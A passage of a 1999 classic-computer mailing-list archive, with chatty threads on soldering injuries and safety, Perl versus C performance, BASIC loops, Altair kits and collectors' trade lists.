jimw@agora.rdrop.com The Computer Garage - http://www.rdrop.com/~jimw Computer Garage Fax - (503) 646-0174 From spc at armigeron.com Fri Jan 15 22:53:54 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:40:08 2005 Subject: OT: How can that be? In-Reply-To: <3.0.1.32.19990115000808.0093e480@mail.30below.com> from "Roger Merchberger" at Jan 15, 99 00:08:08 am Message-ID: <199901160455.XAA23660@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 628 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990115/60539acf/attachment.ksh From gram at cnct.com Thu Jan 14 23:13:49 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:08 2005 Subject: Computers for children (soldering) References: Message-ID: <369ECE8D.86B80D16@cnct.com> Doug Yowza wrote: > > On Thu, 14 Jan 1999, Paul Braun wrote: > > > These little childhood adventures are good for you. Taught me more than > > aimlessly wandering about town every weekend. > > Yeah, I'm amazed I survived some of the experiments I performed as a kid. > With the supercomputers and high-end graphics workstations we all have on > our desks now, you'd think that some *really* life-like simulations could > be written that would allow kids to make all of the same mistakes we did, > but sans scar tissue. We still need a good smellovision device to give > them a good sense of singed eyebrows, though. Well, in grades 6-8 I was playing with exolosives. My friend and I were interested in rockets, but we couldn't afford the Estes kits. So we built from scratch, starting with first principles. But of course the starting point in rockets is also the starting point in explosives -- good old black powder. So we branched off in both directions. Recipes were still available in the public libraries in those days, chemistry textbooks and government publications. I got a couple of burns, so did my partner, we were lucky because we didn't always follow the rules that well -- making rocket fuel out of sugar and potassium nitrate in a saucepan on the stove can turn the stove to shrapnel if it gets too hot, ours didn't. (We should have been using a double boiler, but Bob's mother wouldn't let us use hers and my mother didn't own one). Nowadays, of course, it's difficult to get many of the books or raw materials we used back in the Sixties. (But I nowadays know enough first principals to get or make many of the raw materials we used to buy at the drugstore, potassium nitrate and several of its chemical cousins being among the main things our maternal government doesn't want us to have). Nowadays I also know a bit more safety procedure as well. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From zmerch at 30below.com Thu Jan 14 23:25:15 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:40:08 2005 Subject: Computers for children (soldering) In-Reply-To: <199901150321.VAA14413@garcon.laidbak.com> References: <199901140147.SAA26854@calico.litterbox.com> Message-ID: <3.0.1.32.19990115002515.0092dcb0@mail.30below.com> On or about 09:24 PM 1/14/99 -0600, Paul Braun was caught in a dark alley speaking these words: >> I've had dozens of scars as a result of using tools. Doesn't really worry >> me a bit. Sure it's painful at the time, but I'm still here, right, and >> although I don't like the pain, the final result is worth it. Not to mention the "no pain, no gain" theory. At least to me, the satisfaction of a job well done seems sweeter if I finished it despite a wound or two. Bonus points if I didn't get any blood on the final project... ;-) >I've burned myself several times with a soldering iron -- teaches you the basic >rules that A) A hot soldering iron looks exactly like a cold one; and B) Ditto for >solder. Uh, I first learned that cold solder looks very different from hot solder; 'till my dad showed me that if you can tell the difference, it needs to be redone. Hot stuff!!! ;-) Roger "Merch" Merchberger ===== Roger "Merch" Merchberger -- zmerch@30below.com SysAdmin - Iceberg Computers ===== Merch's Wild Wisdom of the Moment: ===== for (1..15) { print "Merry Christmas\n"; } (from perl.1 man page, version 4.) From zmerch at 30below.com Thu Jan 14 23:25:36 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:40:08 2005 Subject: Computers for children (soldering) In-Reply-To: <00c601be402f$829388a0$bf281bce@tower166> Message-ID: <3.0.1.32.19990115002536.00993950@mail.30below.com> On or about 09:28 PM 1/14/99 -0500, Daniel T. Burrows was caught in a dark alley speaking these words: >I have also had a fair # of burns in similiar manners but the one thing I >would suggest for children is to wear glasses. When I was 9 or10 I was >desoldering something when some solder splattered into the tissue in the >corner of my eye. 1/4 inch over and it could have been serious. I almost >always now make sure I am wearing glasses. My parents made sure of that... myopia runs in my family. 'Course, everyone I know except my dad and brother gets those lame, wimpy plastic lenses... me? tone-gray (changes with sunlight) *safety glass* lenses w/ coated stainless steel frames. The only friends I have who don't think I'm weird for my spectacle choice are the ones who've asked me: "aren't you going to wear safety glasses before you...???" ;-) Very handy. See ya (pun intended), Roger "Merch" Merchberger ===== Roger "Merch" Merchberger -- zmerch@30below.com SysAdmin - Iceberg Computers ===== Merch's Wild Wisdom of the Moment: ===== for (1..15) { print "Merry Christmas\n"; } (from perl.1 man page, version 4.) From mbg at world.std.com Thu Jan 14 23:29:20 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:08 2005 Subject: Computers for children (soldering) Message-ID: <199901150529.AA17172@world.std.com> My worst run-in with a soldering iron was when I was doing some work at my father's emergency-lighting plant *man* years ago. They used real industrial strength soldering irons (the metal body was about 1" diameter and the tip was a 4-sided point which was easily about 1/4" diameter). Well, I had placed the iron in its holder, and was reaching for something else when I caught the cord and the iron started to fall... my instinctual reaction was to reach out and grab for it, which I did... grabbing it firmly with my hand... quickly turning most of my palm and the anterior surface of all my fingers and thumb into seared tissue... I never did that again... Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From brett at xnet.com Thu Jan 14 23:29:05 1999 From: brett at xnet.com (Brett Crapser) Date: Sun Feb 27 18:40:08 2005 Subject: Computers for children (soldering) In-Reply-To: <369ECE8D.86B80D16@cnct.com> Message-ID: On Fri, 15 Jan 1999, Ward Donald Griffiths III wrote: > always follow the rules that well -- making rocket fuel out of sugar > and potassium nitrate in a saucepan on the stove can turn the stove > to shrapnel if it gets too hot, ours didn't. (We should have been > using a double boiler, but Bob's mother wouldn't let us use hers and > my mother didn't own one). Ah - good old Caramel Candy! > Nowadays, of course, it's difficult to > get many of the books or raw materials we used back in the Sixties. > (But I nowadays know enough first principals to get or make many of > the raw materials we used to buy at the drugstore, potassium nitrate > and several of its chemical cousins being among the main things our > maternal government doesn't want us to have). Nowadays I also know > a bit more safety procedure as well. Wellllllllllllllllll 8-) Now you are on ANOTHER hobby of mine 8-) If you remember the way Estes does the engines - A B(A*2) C(B*2 or A*4) Now you can buy 1/4A all the way to M (figure it out yourself). Most of the engine today are AP (Ammonium Perclorate with resin binder) You can also use Hybrids - Cellulose and N2O up to about a J (maybe M). These are the legal consumer products. Experimentals got up to Q and R size motors now. > WARNING: The Attorney General has determined that Alcohol, Tobacco, > and Firearms can be hazardous to your health -- and get away with it. Well - ya you still have to deal with these guys if you go above a G 8-( Email for more info 8-) BC From meo at netads.com Thu Jan 14 23:44:05 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:08 2005 Subject: Computers for children (soldering) In-Reply-To: from "Tony Duell" at Jan 14, 99 10:53:07 pm Message-ID: <199901150544.XAA13069@wildride.netads.com> Tony Duell said... | |Not too low a wattage, please, or you are likely to damage some |components. Any soldering iron is hot enough to damage semiconductors, so |the aim should be to make each joint quickly enough to avoid providing |enough heat to wark the components significantly. A 25W iron is about |right IMHO, unless you can afford a nice temperature-controlled one. Ugh. I meant to suggest a 25W or 30W iron. I've got the brain flu of something this week. And don't forget the solder wick for desoldering... From gram at cnct.com Thu Jan 14 23:45:43 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:08 2005 Subject: OT: How can that be? References: <199901160455.XAA23660@armigeron.com> Message-ID: <369ED607.5D39D01D@cnct.com> Sean 'Captain Napalm' Conner wrote: > > It was thus said that the Great Roger Merchberger once stated: > > > > >For-Next is interpreted when executed. It is at that point that the > > >relevant machine language instructions are generated and executed. Machine > > >language is low-level, C is slightly higher, BASIC is definitely > > >high-level > > > > And Perl is some of most of these - at times faster than C, yet sometimes > > simpler than Basic, almost as powerful as APL, and runs on more machines > > than Java! (of course, APL runs on more machines than Java...) > > Now, how can Perl be faster than C when it's written in C? > > -spc (Or is it now written in Perl? 8-) Are we allowed to count coding (Hell, typing) time in speed tests? If that's allowed _anything_ in Perl is faster than C if it can be written in Perl. (I'll recompute if somebody writes a kernel in Perl, that being one of the things I _think_ can't be written -- but I'd love it if it was.) -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From zmerch at 30below.com Fri Jan 15 00:21:37 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:40:08 2005 Subject: Almost OT: How can that be? In-Reply-To: <199901160455.XAA23660@armigeron.com> References: <3.0.1.32.19990115000808.0093e480@mail.30below.com> Message-ID: <3.0.1.32.19990115012137.00994100@mail.30below.com> On or about 11:53 PM 1/15/99 -0500, Sean 'Captain Napalm' Conner was caught in a dark alley speaking these words: >It was thus said that the Great Roger Merchberger once stated: >> And Perl is some of most of these - at times faster than C, yet sometimes >> simpler than Basic, almost as powerful as APL, and runs on more machines >> than Java! (of course, APL runs on more machines than Java...) First off, this isn't wholly off-topic... there *is* a Perl interpreter for the Atari ST's... ;-) > Now, how can Perl be faster than C when it's written in C? Easy. 'Cause I said so!!! ;-) Mind you, it's not a whopping lot faster, but how it can be faster (by a few to five percent) is this: Larry Wall (who wrote Perl) optimized it in such a way that any ol' schmuck (like me) says "I could do this in C!!!" and does so, but not as efficiently as Larry did... therefore, code in Perl is faster than the reworked version in C. Oh, and when I called it an "interpreter," that's a misnomer. It may look, walk, talk, and smell like an interpreter, but it's actually a JIT compiler in disguise... that's why it's so darned fast in comparison to an interpreter. Ever heard the quote "Any sufficiently advanced technology is indistinguishable from a Perl script?" *That's* why. ;-) Keep on Truckin', Roger "Merch" Merchberger ===== Roger "Merch" Merchberger -- zmerch@30below.com SysAdmin - Iceberg Computers ===== Merch's Wild Wisdom of the Moment: ===== for (1..15) { print "Merry Christmas\n"; } (from perl.1 man page, version 4.) From ddameron at earthlink.net Fri Jan 15 00:14:40 1999 From: ddameron at earthlink.net (dave dameron) Date: Sun Feb 27 18:40:08 2005 Subject: Computers for children Message-ID: <199901150614.WAA01126@gull.prod.itd.earthlink.net> Hi Tony and all, At 10:44 PM 1/14/99 +0000, you wrote: >I would strongly disagree with that, at least in hardware. I've recently >been looking at some discrete-transistor logic circuits and the >creativity that went into their design (IMHO) exceeds anything that I've >seen done with modern 'black-box' chips. For example, I've seen a >keyboard encoder (8*8 matrix of keys to 6 bit binary + strobes + ...) in >about 20 transistors and as many diodes. Much, much more elegant than >throwing a microcontroller at it. > Yes, for example the Popular Electronics keyboard in ~1974 by Don Lancaster and Southwest Technical Products used a few inverters (RTL) and transistors. 3 transistors sensed which of 8 columns a keyswitch was pressed, and these 3 transistors produced 3 of the ASCII output bits. The 8 row ouyputs produced 3 other bits. Much easier to "fix" than the MOS encoder chip, if that chip was programmed for a custom matrix, such as the Heath H19 terminal. -Dave From red at bears.org Fri Jan 15 00:24:10 1999 From: red at bears.org (R. Stricklin (kjaeros)) Date: Sun Feb 27 18:40:08 2005 Subject: Almost OT: How can that be? In-Reply-To: <3.0.1.32.19990115012137.00994100@mail.30below.com> Message-ID: On Fri, 15 Jan 1999, Roger Merchberger wrote: > Mind you, it's not a whopping lot faster, but how it can be faster (by a > few to five percent) is this: Larry Wall (who wrote Perl) optimized it in > such a way that any ol' schmuck (like me) says "I could do this in C!!!" > and does so, but not as efficiently as Larry did... therefore, code in Perl > is faster than the reworked version in C. This isn't always true. When I wrote a de-artifacter for images captured from a video source, I wrote it first in PERL to prove to myself the algorithm I conceived would work; I used PERL because I am more familiar with it than any other language. Later, I ported the program to C which netted me a dramatic performance increase: 15 minute processing times dropped to around a minute, while CPU usage during the processing dropped from 100% to about 30%. This isn't to disparage PERL at all. I like PERL. There are some things other languages are better suited for, though. This is mildly on topic because I use the program to clean up the archive images I create of items in my collection. (I wrote it in the first place because I didn't want to have to pay to have fifty plus rolls of film developed when I could use a video camera to make the pictures for free.) -- ok r. r e d @ b e a r s . o r g =========================== [ urs longa | vita brevis ] From yowza at yowza.com Fri Jan 15 00:46:27 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:40:08 2005 Subject: Almost OT: How can that be? In-Reply-To: Message-ID: On Fri, 15 Jan 1999, R. Stricklin (kjaeros) wrote: > This is mildly on topic because I use the program to clean up the archive > images I create of items in my collection. (I wrote it in the first place > because I didn't want to have to pay to have fifty plus rolls of film > developed when I could use a video camera to make the pictures for free.) OK, so where can we see the images of the machines in your collection, and where can we get the software that automagically cleans up our own images? -- Doug From zmerch at 30below.com Fri Jan 15 01:01:15 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:40:08 2005 Subject: Almost OT: How can that be? In-Reply-To: References: <3.0.1.32.19990115012137.00994100@mail.30below.com> Message-ID: <3.0.1.32.19990115020115.00999100@mail.30below.com> On or about 01:24 AM 1/15/99 -0500, R. Stricklin (kjaeros) was caught in a dark alley speaking these words: >On Fri, 15 Jan 1999, Roger Merchberger wrote: > >> Mind you, it's not a whopping lot faster, but how it can be faster (by a >> few to five percent) is this: Larry Wall (who wrote Perl) optimized it in >> such a way that any ol' schmuck (like me) says "I could do this in C!!!" >> and does so, but not as efficiently as Larry did... therefore, code in Perl >> is faster than the reworked version in C. > >This isn't always true. 'Tis why I said *can* be faster... not *is*. :-) > When I wrote a de-artifacter for images captured >from a video source, I wrote it first in PERL to prove to myself the >algorithm I conceived would work; I used PERL because I am more familiar >with it than any other language. > >Later, I ported the program to C which netted me a dramatic performance >increase: 15 minute processing times dropped to around a minute, while >CPU usage during the processing dropped from 100% to about 30%. Certainly... but what does "perl" stand for? 2 answers: Pathologically Eclectic Rubbish Lister... or Practical Extraction and Report Language The strong points of perl are its strong array & list processing capabilities and the file management commands. The former are where Perl gets it's speed, and the latter, while prolly slower than C, are much easier to code to do file manipulation. Sure, if a proggie needed 20 lines of C versus 20 lines of perl, sure C's gonna win. However, if your proggie relies heavily on perl's associative arrays, it'll be tough to program in C, let along program *more efficiently* in C... >This isn't to disparage PERL at all. I like PERL. There are some things >other languages are better suited for, though. Of course. Perl (for me) is best for that "quick & dirty" program. Get it done, and fast, and move on. Tho I use it more often than C, C certainly does have its advantages. ObCC: IMNSHO, Basic09 has more...... Neener, Neener... ;^> Off to DreamyLand, Roger "Merch" Merchberger ===== Roger "Merch" Merchberger -- zmerch@30below.com SysAdmin - Iceberg Computers ===== Merch's Wild Wisdom of the Moment: ===== for (1..15) { print "Merry Christmas\n"; } (from perl.1 man page, version 4.) From jpero at cgocable.net Fri Jan 15 01:16:13 1999 From: jpero at cgocable.net (jpero@cgocable.net) Date: Sun Feb 27 18:40:08 2005 Subject: Computers for children (soldering) In-Reply-To: <199901150529.AA17172@world.std.com> Message-ID: <199901150714.CAA05535@mail.cgocable.net> Date sent: Fri, 15 Jan 1999 00:29:20 -0500 Send reply to: classiccmp@u.washington.edu From: mbg@world.std.com (Megan) To: "Discussion re-collecting of classic computers" Subject: Re: Computers for children (soldering) > They used real industrial strength soldering irons (the metal > body was about 1" diameter and the tip was a 4-sided point which > was easily about 1/4" diameter). > > Well, I had placed the iron in its holder, and was reaching for > something else when I caught the cord and the iron started to > fall... my instinctual reaction was to reach out and grab for > it, which I did... grabbing it firmly with my hand... quickly > turning most of my palm and the anterior surface of all my > fingers and thumb into seared tissue... > > I never did that again... My ex-father still have that wooden red handled behamoth exactly what you described! Still working and truly classic-o! I don't mean to be snide-sounding, resist that instinctual reflex and hot stuff! Let that soldering iron fall and burn something where it hits and grab and pull up the lead fast to prevent burning a hole in something. Done that few times. Better yet, keep that cord retained so iron just swings harmlessly instead of hitting the floor. Jason D. From jpero at cgocable.net Fri Jan 15 01:16:13 1999 From: jpero at cgocable.net (jpero@cgocable.net) Date: Sun Feb 27 18:40:08 2005 Subject: Computers for children (soldering) In-Reply-To: References: <199901140147.SAA26854@calico.litterbox.com> from "Jim Strickland" at Jan 13, 99 06:47:34 pm Message-ID: <199901150714.CAA05531@mail.cgocable.net> Date sent: Thu, 14 Jan 1999 22:37:38 +0000 (GMT) Send reply to: classiccmp@u.washington.edu From: ard@p850ug1.demon.co.uk (Tony Duell) To: "Discussion re-collecting of classic computers" Subject: Re: Computers for children (soldering) > I've had dozens of scars as a result of using tools. Doesn't really worry > me a bit. Sure it's painful at the time, but I'm still here, right, and > although I don't like the pain, the final result is worth it. Got bit of non-meaty (that big round thing where thumb-mucsle is) bits gounged by flywheel with weighted speed control switch on a heavy mechanical adding thing. Got scorched by solder irons (painful and long time for pain to go away), slid on gravelly road when fell from bicycle, got two fingers each one once 2 seperate incidents. Mind you, sliced not the slashing, the chop motion when razor slipped, got a finger bone caught between two 5 pin bowling ball when a ball decided to come out of chute and strike the ball where my finger is. OWCH! Recently got stabbed full length of jumper pin, trying to get stubborn jumper installed, That stupid pin slid right along underside of that thumb nail! Throbby thumb, no discoloring but kept me from sleeping well one night. Booo hiss and there was blue words flying! Only mark I can see is one very old scar (4 or 5 yr old except for that appendix job) when I slipped and cut myself carrying that wood hand saw (like the big hacksaw) requiring few striches. Oh, toss in a flipped car accident too, everybody lived whew! Call me bit bone-head for that many accidents but I learn to be more careful over the time. :-) > Yep, I'm glad I got the chance to injure myself (seriously). It also gave > me the chance to enjoy life and learn something. Seriously!? Got you straight from that one incident? I'm not that kind of who wants to get into that kind of serious accident by choice. > > -tony > Jason D. From spc at armigeron.com Sat Jan 16 01:21:02 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:40:08 2005 Subject: Almost OT: How can that be? In-Reply-To: <3.0.1.32.19990115020115.00999100@mail.30below.com> from "Roger Merchberger" at Jan 15, 99 02:01:15 am Message-ID: <199901160722.CAA24571@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 1986 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990116/e833205a/attachment.ksh From dastar at ncal.verio.com Fri Jan 15 01:37:49 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:08 2005 Subject: Computers for children In-Reply-To: <3.0.16.19990114132351.4ef7e97a@ricochet.net> Message-ID: On Thu, 14 Jan 1999, Uncle Roger wrote: > Every BASIC I've ever used had a for-next construct as follows: > > FOR variable = start TO end [BY inc] > commands > NEXT [variable] I've never seen a "BY" modifier although I wouldn't doubt that some BASIC could have been designed with it. But are you sure you didn't mean "STEP"? > No GOTO was ever needed. However, it is just a simplified version of a > combination IF and GOTO. Remember, C has a goto statement, although I don't think in my nearly 10 years of C programming I've ever used it, although on certain rare occasions it seemed the easy way out to a sticky coding problem. There is certainly a sublime satisfaction in designing elegant code with do..while and while loops (I rarely use for's), but C really suffers from a lack of a general error trapping mechanism that one can invoke to break out of loops as required. Sometimes I think goto's are the answer but I can never find an appropriate way to implement it. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From spc at armigeron.com Sat Jan 16 01:28:20 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:40:08 2005 Subject: Almost OT: How can that be? In-Reply-To: <3.0.1.32.19990115012137.00994100@mail.30below.com> from "Roger Merchberger" at Jan 15, 99 01:21:37 am Message-ID: <199901160729.CAA24589@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 1618 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990116/be9e4125/attachment.ksh From marvin at rain.org Fri Jan 15 01:51:02 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:08 2005 Subject: Computers for children References: Message-ID: <369EF366.EEFCEB4E@rain.org> Sam Ismail wrote: > > certainly a sublime satisfaction in designing elegant code with do..while > and while loops (I rarely use for's), but C really suffers from a lack of > a general error trapping mechanism that one can invoke to break out of > loops as required. Sometimes I think goto's are the answer but I can > never find an appropriate way to implement it. I'm not sure if Fortran treats jumping out of a loop the same as C or not, but when I was taking Fortran in college, I wrote a program for shuffling and dealing out pseudo random bridge hamds. When writing it, for whatever reason I jumped out of a For/Next loop. For some reason the program crashed. I didn't know you couldn't do that and finally after stumping the instructors, one of them took the time to again review the code and found that "minor" glitch. Ah, the fun of learning! From spc at armigeron.com Sat Jan 16 02:05:59 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:40:08 2005 Subject: OT? On Programming (was: Re: Computers for children) In-Reply-To: from "Sam Ismail" at Jan 14, 99 11:37:49 pm Message-ID: <199901160807.DAA24863@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 1966 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990116/47f2ed1b/attachment.ksh From Hans.Franke at mch20.sbs.de Fri Jan 15 04:40:16 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:08 2005 Subject: A new Altair record price In-Reply-To: <3.0.1.16.19990107091359.306fdb68@intellistar.net> References: <19990107062910.29289.qmail@hotmail.com> Message-ID: <199901150940.JAA13108@nixpbe.pdb.sni.de> > DAMMMMM!!!! Makes a $500 Kim-1 look like a bargain!! 500 US American Dollars ? Geeee, did I miss anything ? If thats a bargain, I'm happy to offer all my KIMs (but one or two) at just USD 499,- each - S&H within Munich included ! Come and grap yours ! H. -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Fri Jan 15 04:46:41 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:08 2005 Subject: Altair kits?? In-Reply-To: <3.0.1.16.19990107202015.307ffa78@intellistar.net> References: Message-ID: <199901150946.JAA13358@nixpbe.pdb.sni.de> > >>QUESTION - to any of the folks out there who > >>put these kits together originally... > >>Is this the way you received them from MITS? > >>With the front panel and/or the power supply > >>pre-wired and assembled? > I never built one from a kit but what I have been told MANY times is that > the front panel and PS were customer assembled and the front panel was an > absolute BITCH to build! Seems there was a mess of wires running from all > those front panel swiches to the motherboard and it was hell to get them > all connected correctly and to work in among all of them. Maybe the kit was never finished because of that ? The original owner lost interest, after he stated wit the front panel :) Gruss H. -- Ich denke, also bin ich, also gut HRK From meo at netads.com Fri Jan 15 04:20:02 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:08 2005 Subject: Computers for children In-Reply-To: <369EF366.EEFCEB4E@rain.org> from "Marvin" at Jan 14, 99 11:51:02 pm Message-ID: <199901151020.EAA14776@wildride.netads.com> Marvin said... | |I'm not sure if Fortran treats jumping out of a loop the same as C or not, |but when I was taking Fortran in college, I wrote a program for shuffling |and dealing out pseudo random bridge hamds. When writing it, for whatever |reason I jumped out of a For/Next loop. For some reason the program |crashed. I didn't know you couldn't do that and finally after stumping the |instructors, one of them took the time to again review the code and found |that "minor" glitch. Ah, the fun of learning! You have always been able to jump out of a DO loop in FORTRAN. -Miles From Hans.Franke at mch20.sbs.de Fri Jan 15 05:30:34 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:08 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade) In-Reply-To: <3689658B.2C1AD448@cnct.com> Message-ID: <199901151030.KAA15220@nixpbe.pdb.sni.de> > > What will merced run... pentium emulator so there is software for it. > What will Merced run? > Linux and all apps from birth in native mode after recompile, Linus > himself is involved in that with help from lots of people -- most > x86(Pentium and earlier) stuff either after recompile or under sundry > DOS/Windows emulation environments (recompile preferred). There will > be no shortage of apps unless Intsell screws everything up pushing > obsolete processors (and their present commercial series has very > entertaining moments -- could easilly screw up Merced). Thats it, why unix like systems are sill freak places and why windoze rulez. I am a USER (ok, at least sometimes) and I want instant applications running, and not recompiling the OS, half apps and forgett about the other half because of missing sources, or some 'changes' and 'patches' I have to do - instant on and instant working (playing, what ever). Linux isn't that prominent because it's open - most 'ordinary' people like it, because you insert a CD, and start - like on Windows 98 - in fact, I have to admit I _never_ compiled a kernal or anything else since I use Linux, and thats more than 4 years. Lets face it, for x86 PCs Linux is a great platform, for all the other PCs (PPC, Alpha, ...) it's just another Unix with all the known shortcomings. So, if there is no 'Pentium-mode' (soft or hardware) or no suport for this (automatic switch to x86 emulation) within Linux, Merced Linux will just be one of the exotic flavours without impact. Gruss H. P.S.: in fact, this is OT, since some problems don't vanish when done over and over again. -- Ich denke, also bin ich, also gut HRK From yowza at yowza.com Fri Jan 15 04:31:26 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:40:08 2005 Subject: Powerbook Duo Help In-Reply-To: <199901151020.EAA14776@wildride.netads.com> Message-ID: OK, it's not strictly a classic, but it's collectible because it's a prototype: an "AJ" or Duo 2300 prototype. I finally learned enough about Macs to almost sort of get this thing working. Here's the current problem, I can boot it up from a 7.6 disk, but as soon as it finishes the start-up stuff, it says something like "reserve power is low, shutting down in 10 seconds" and then proceeds to shutdown. Problem is, it does this under AC power. It's confused. Where does the confusion lie, do you think? If it's firmware, is there a way to flash new firmware? Would I destory its "prototypeness" if I did that? If it's hardware, where is the voltage sensing circuitry so I can probe to find what it's seeing? -- Doug From Hans.Franke at mch20.sbs.de Fri Jan 15 05:37:06 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:08 2005 Subject: Osborne 01 for only $5000.00 In-Reply-To: <3.0.16.19990114132700.4ef7f3a8@ricochet.net> Message-ID: <199901151037.KAA15672@nixpbe.pdb.sni.de> > At 10:27 PM 1/13/99 -0500, you wrote: > >went for 2.7 Million, with an addition 305k being paid in commission > >by the purchaser... A far cry from 7 Mil... > For values of x, where x = my bank balance, 3mil * x = 7mil * x. It's all > the same to me. 8^) Maybe you should close your account, to avoide unnecesary cost - and to avoide that the equation will no longer be true :) Gruss H. (Geee - a Baseball ball - for what they are good at all ?) -- Ich denke, also bin ich, also gut HRK From chrish at knet.kootenay.net Fri Jan 15 04:42:37 1999 From: chrish at knet.kootenay.net (Chris Halarewich) Date: Sun Feb 27 18:40:08 2005 Subject: eBay item Message-ID: <369F1B9C.5268C651@knet.kootenay.net> here is an adam computer system http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=54946307 -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990115/6aea5a2f/eBayISAPI.html From markr at play.com Fri Jan 15 06:04:35 1999 From: markr at play.com (Mark Randall) Date: Sun Feb 27 18:40:08 2005 Subject: Classic Home Console Computers to Trade/Sell/Buy Message-ID: <000d01be407f$37c600a0$ef5dd3cf@markr.calweb.com> Hi Everyone, I'm new to this list. I've been collecting classic home console computers for about two years now and have some items to trade and some things I'm looking for (either trade or buy). You can check out my collection on my website at http://www.markrandall.com. Regards, Mark Randall Play Incorporated ====================== Classic Computers To Trade: ====================== Apple IIGS (full system with monitor/printer) Compaq Portable (original) IBM PC Jr. KayPro II KayPro IV Macintosh 128 (original) Radio Shack Color Computer Texas Instruments 99/4A ================================= Computers I'm Looking to Buy / Trade For: (Console Home Computers Only) ================================= Acorn BBC Micro Acorn Electron Amstrad CPC 6128 Amstrad CPC 664 Atari 65XE Atari 520ST Camputers Lynx Canon V-20 MSX Dragon 32 EACA Colour Genie EACA Video Genie 3003 (AKA System-80 / PMC 80) Exidy Sorcerer Franklin ACE 1200 Interact Model One Jupiter ACE Mattel Aquarius Memotek MTX 500/512 (or RS128) Oric 1 Oric Atmos Panasonic JR-200U Personal Micro Computer PMC 81 Phillips Videopac Salora Fellow Sharp MZ800 (MZ821) Sinclair QL Sinclair Spectrum Sinclair Spectrum + Sinclair Spectrum +2 / +2A / +3 SpectraVideo SVI 328 Sony HitBit Sord M5 Timex Sinclair 1500 Timex Sinclair 2068 Toshiba HX-10 Toshiba T100 Video Technology Laser Compact XT Video Technology VZ200 =============================== Computers Currently In My Collection (Pictures at http://www.markrandall.com) =============================== Amiga 500 Amiga 600 Amiga 1200 Amstrad 464 CPC Atari 400 Atari 800 Atari 600XL Atari 800XL Atari 1200XL Atari 130XE Atari 1040 ST Apple II Apple IIc Commodore 16 Commodore Plus/4 Commodore 64 Commodore 128 Commodore VIC 20 Laser 128 Radio Shack Color Computer Radio Shack Micro Color Computer (MC-10) Radio Shack Color Computer II (low rise keyboard) Radio Shack Color Computer II (high rise keyboard) Radio Shack Color Computer III Radio Shack Model 1 Sinclair ZX80 Sinclair ZX81 Tano Dragon 64 Texas Instruments 99/4A (gray/silver) Texas Instruments 99/4A (beige) Timex Sinclair 1000 From Hans.Franke at mch20.sbs.de Fri Jan 15 07:57:46 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:08 2005 Subject: Apple Centronics (was: TI99: Re: SCSI devices) In-Reply-To: References: <199901070000.AA25500@world.std.com> from "Allison J Parent" at Jan 6, 99 07:00:27 pm Message-ID: <199901151257.MAA21694@nixpbe.pdb.sni.de> > I can't remember how the Apple ][ centronics card does it. I remember 8 > outputs. I can't remember if that was 8 data bits and a strobe in > hardware or 7 data bits and a software strobe (remember that 7 bits are > enough for text characters). The busy input actually fiddled with the > ROM addresses on the card, so the Apple executed different instructions > when the printer became ready. Neat!. Depends on the Card - some Cards used 6522 devices and here the (programmable) handshake functionality of the 6522 was used. Some cards had dedicated logic for unidirectional paralell output and did the generation via a monoflop. Gruss H. -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Fri 